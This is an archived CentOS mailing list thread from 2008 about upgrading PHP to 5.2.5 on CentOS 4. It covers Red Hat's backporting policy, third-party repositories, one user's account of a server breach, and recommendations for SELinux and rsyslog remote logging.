PHP 5.2.5 when ?

Hi

When (some) expected rpm package for the upgrade php to version 5.2.5(CentOS4) ?
Who knows?

This is an OpenPGP/MIME signed message (RFC 2440 and 3156)
--==============65479515=Content-Type: multipart/signed; micalg=pgp-sha1;
protocol="application/pgp-signature";
boundary="------------enigE11A4EE5C0FD9EA35687D115"

This is an OpenPGP/MIME signed message (RFC 2440 and 3156)
--------------enigE11A4EE5C0FD9EA35687D115
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: quoted-printable

Santa Claus wrote:
> Hi
>
> When (some) expected rpm package for the upgrade php to version 5.2.5(CentOS4) ?
> Who knows?

ummm ... the answer is probably never.

Red Hat offers a RHWAS ... that has a php5 for EL4.  The version of php 
in there (and in our CentOSPlus repo) is php-5.1.6 ... it might go
higher than that, but I doubt it will go to 5.2.x.  If it does go there 
in RHWAS, it will also go there in CentOSPlus, but I would not hold my
breath :-D

Thanks,
Johnny Hughes


--------------enigE11A4EE5C0FD9EA35687D115
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="signature.asc"

Hi

>> When (some) expected rpm package for the upgrade php to version
5.2.5(CentOS4)
?
>ummm ... the answer is probably never.

It is not clear why Red Hat (and CentOS too), so weak responds to changes of
important packages.
In this case the question: how to upgrade to PHP 5.2.5 correctly?

1. make ... etc.
2. or go search rpms/rpm in private repositories (for example:
http://www.jasonlitka.com/2007/11/16/upgrading-to-php-525-on-rhel-and-centos/
)?

Santa Claus wrote:
> It is not clear why Red Hat (and CentOS too), so weak responds to
> changes of important packages.
> In this case the question: how to upgrade to PHP 5.2.5 correctly?

If its really not clear, you're totally missing the whole *point* of RHEL.

On Fri, 11 Jan 2008 04:05:56 -0600
Johnny Hughes <johnny@centos.org> wrote:

> Santa Claus wrote:
> > Hi
> >
> > When (some) expected rpm package for the upgrade php to version
> > 5.2.5(CentOS4) ? Who knows?
>
> ummm ... the answer is probably never.
>
> Red Hat offers a RHWAS ... that has a php5 for EL4. The version of
> php in there (and in our CentOSPlus repo) is php-5.1.6 ... it might
> go higher than that, but I doubt it will go to 5.2.x. If it does go
> there in RHWAS, it will also go there in CentOSPlus, but I would not
> hold my breath :-D
>
> Thanks,
> Johnny Hughes
>

My question would be, "good god...why?" There are a ton of security
holes in php5. From experience one of the holes I'm painfully aware of
is php-cli which installs by default with the rest of php5.

Mark

Hi

Thanks to all who responded.
But I repeat the question:
how to upgrade CentOS4 to PHP 5.2.5 correctly?
1. download form php.net + make ... etc.
2. or go search rpms/rpm in private repositories
?

On Sun, 13 Jan 2008 14:25:36 -0500 (EST)
Joshua Baker-LePain <jlb17@duke.edu> wrote:

> On Sun, 13 Jan 2008 at 8:03am, Mark Weaver wrote
>
> > On Fri, 11 Jan 2008 04:05:56 -0600
> > Johnny Hughes <johnny@centos.org> wrote:
>
> >> ummm ... the answer is probably never.
> >>
> >> Red Hat offers a RHWAS ... that has a php5 for EL4. The version of
> >> php in there (and in our CentOSPlus repo) is php-5.1.6 ... it might
> >> go higher than that, but I doubt it will go to 5.2.x. If it does
> >> go there in RHWAS, it will also go there in CentOSPlus, but I
> >> would not hold my breath :-D
> >
> > My question would be, "good god...why?" There are a ton of security
> > holes in php5. From experience one of the holes I'm painfully aware
> > of is php-cli which installs by default with the rest of php5.
>
> Even an exteremely brief search of the archives of this list would
> turn up tons of similar questions, and the same answer every time --
> Red Hat backports security fixes to the stable version of packages in
> their Enterprise distro. That's why, e.g., for it's entire 5 year
> supported life, RHEL5 will be based on kernel 2.6.18. However the
> base kernel will be heavily patched for security, driver upgrades,
> and new hardware support. They treat all packages (including PHP)
> similarly.
>

those patches didn't do much for keeping one of my systems from being
breached via php. from the looks of the web server logs as well as the
messages log file that's where they got in.

being the anul sort I am I first thought they'd breached the system
through ssh, but that wasn't the case.

Mark

On Jan 13, 2008 1:53 PM, Santa Claus <santa.claus.rpm@gmail.com> wrote:

> Thanks to all who responded.
>  But I repeat the question:
> how to upgrade CentOS4 to PHP 5.2.5 correctly?

There is no "correct" method for this, there are only "less wrong"
ways to do it.

> 1. download form php.net + make ... etc.

No. This method is not advisable at all, because it circumvents the
package management of the system. This point stands for every distro
with a package manager, not just centos.

> 2. or go search rpms/rpm in private repositories

You can go this route, however if you do, you'll have to seek some of
your support from them, as well as trusting them for security updates,
and proper building.  I would really not recommend moving to php 5.25
at all.

If you're absolutely dead set on poking the tiger with this particular
pointy stick, you can get the packages from the atomic rocket turtle
repository (no I am not making up that name).

Even an exteremely brief search of the archives of this list would turn up
tons of similar questions, and the same answer every time -- Red Hat
backports security fixes to the stable version of packages in their
Enterprise distro.  That's why, e.g., for it's entire 5 year supported 
life, RHEL5 will be based on kernel 2.6.18.  However the base kernel will 
be heavily patched for security, driver upgrades, and new hardware
support.  They treat all packages (including PHP) similarly.

Red Hat now supports RHEL for 7 years after the release of each version.

On Mon, 14 Jan 2008 00:15:27 +0000
Karanbir Singh <kbsingh@centos.org> wrote:

> Mark Weaver wrote:
> > those patches didn't do much for keeping one of my systems from
> > being breached via php. from the looks of the web server logs as
> > well as the messages log file that's where they got in.
>
> I am still waiting for you to post some demonstrate-able exploit in
> the distro supplied php packages.
>
> - KB

while I understand why you'd like proof of concept for the exploit it's
not something I'd post on a public mailing list. Not to mention the
exploit was trashed when I reloaded the system. At the time it didn't
seem expedient for to save that which killed my server for posterity.

Mark

On Sun, 13 Jan 2008 16:25:15 -0800
Ray Van Dolson <rayvd@bludgeon.org> wrote:

> On Sun, Jan 13, 2008 at 02:14:04PM -0500, Mark Weaver wrote:
> > those patches didn't do much for keeping one of my systems from
> > being breached via php. from the looks of the web server logs as
> > well as the messages log file that's where they got in.
> >
> > being the anul sort I am I first thought they'd breached the system
> > through ssh, but that wasn't the case.
>
> I'd be willing to bet it was an application-specific hole that was
> utilized to breach your system.
>  
> Ray

That's always a possibility, but to my knowledge it wasn't anything I
was aware of at the time, and since I do most of my app development in
Perl it wasn't anything I personally wrote. The only other apps that
were on the system at the time was a php web site and forum. php-cli
was part of the problem; i.e. the weakness that made the exploit
possible. I personally can think of no reason at all for php-cli.

Mark

On Mon, 14 Jan 2008 02:31:28 +0000
Karanbir Singh <kbsingh@centos.org> wrote:

> Mark Weaver wrote:
> > while I understand why you'd like proof of concept for the exploit
> > it's not something I'd post on a public mailing list. Not to
> > mention the exploit was trashed when I reloaded the system. At the
> > time it didn't seem expedient for to save that which killed my
> > server for posterity.
>
> [email protected: sec...@centos.org] is where I'd expect you to post that to.
>
> Also, if you dont know what you are fixing, you dont have anything to
> benchmark against 5.2.5 either.
>
> As has already been pointed out in the thread, its highly likely that
> if the exploit was via a php app, its going to be an app specific
> exploit. Reloading that is going to bring that right back.
>
> Selinux normally helps prevent situations like this.
>
> - KB

ah, yes... SELinux... Well, that was actually on the system at the time
of the "second" breach. Getting the apps existing on the web server to
play nicely in that environment was quite a trick, but they managed to
breach a second time anyway.

If I can find any remaining information from that time I'll post as
you've suggested.

Mark

On Sun, 13 Jan 2008 21:22:20 -0500
Chris Mauritz <chrism@imntv.com> wrote:

> Mark Weaver wrote:
>
> "The only other apps that were on the system at the time was a php
> web site and forum."
>
> ---
>
> Heh. Yep, those PHP web forums have a squeaky clean track record.
>
> *rolling eyes*
>

yeah... and the one that was possibly part of the problem is now gone.
I never restored it from backup after the second breach. The perps were
trying after the second reload, but since that web site wasn't restored
and running on the web server they weren't able to get in.

Mark Weaver wrote:
> those patches didn't do much for keeping one of my systems from being
> breached via php. from the looks of the web server logs as well as the
> messages log file that's where they got in.

I am still waiting for you to post some demonstrate-able exploit in the
distro supplied php packages.

- KB

I'd be willing to bet it was an application-specific hole that was
utilized to breach your system.

Ray

On Mon, 14 Jan 2008 02:59:38 +0000
Karanbir Singh <kbsingh@centos.org> wrote:

> Mark Weaver wrote:
> > yeah... and the one that was possibly part of the problem is now
> > gone. I never restored it from backup after the second breach. The
> > perps were trying after the second reload, but since that web site
> > wasn't restored and running on the web server they weren't able to
> > get in.
>
> now would also be a good time to plumb in remotelogging :D
>
> I recommend rsyslog!
>

Indeed! hadn't thought of that before, but the packages have just
finished downloading. :)

On Sun, 13 Jan 2008 22:19:51 -0500
"Jim Perrin" <jperrin@gmail.com> wrote:

> On Jan 13, 2008 9:59 PM, Karanbir Singh <kbsingh@centos.org> wrote:
>
> > I recommend rsyslog!
>
> Well okay, now you've drawn me out!
>
> I've been playing with rsyslog recently in the hopes of creating the
> 'one monitoring server to rule them all' with logging, nagios, ibm
> director, etc. It seems the fedora/rh folks made a very good decision
> in making rsyslog the default logger in fedora 8, but it works equally
> well in centos5 as a drop in replacement for the sysklogd logger. In
> addition to the usual logging you get by default in centos, rsyslog
> also allows for log templating, regex filtering, alerts, tcp and udp
> delivery, logging to database (mysql, but soon postgres) and sane
> multi-host log handling. It's a very good competitor to syslog-ng,
> without any of the dual licensing bits. It'll also soon have native
> ssl handling for secure log transfer. It's very sexy. I second
> Karanbir's recommendation to take a look at rsyslog.

<grin>

already downloaded. going to transfer to the web server and start
reading through the setup docs as soon as Iron Eagle is over.

Mark Weaver wrote:

"The only other apps that were on the system at the time was a php web site and forum."

---

Heh.  Yep, those PHP web forums have a squeaky clean track record.

*rolling eyes*

Mark Weaver wrote:
> while I understand why you'd like proof of concept for the exploit it's
> not something I'd post on a public mailing list. Not to mention the
> exploit was trashed when I reloaded the system. At the time it didn't
> seem expedient for to save that which killed my server for posterity.

[email protected: sec...@centos.org] is where I'd expect you to post that to.

Also, if you dont know what you are fixing, you dont have anything to
benchmark against 5.2.5 either.

As has already been pointed out in the thread, its highly likely that if
the exploit was via a php app, its going to be an app specific exploit.
Reloading that is going to bring that right back.

Selinux normally helps prevent situations like this.

- KB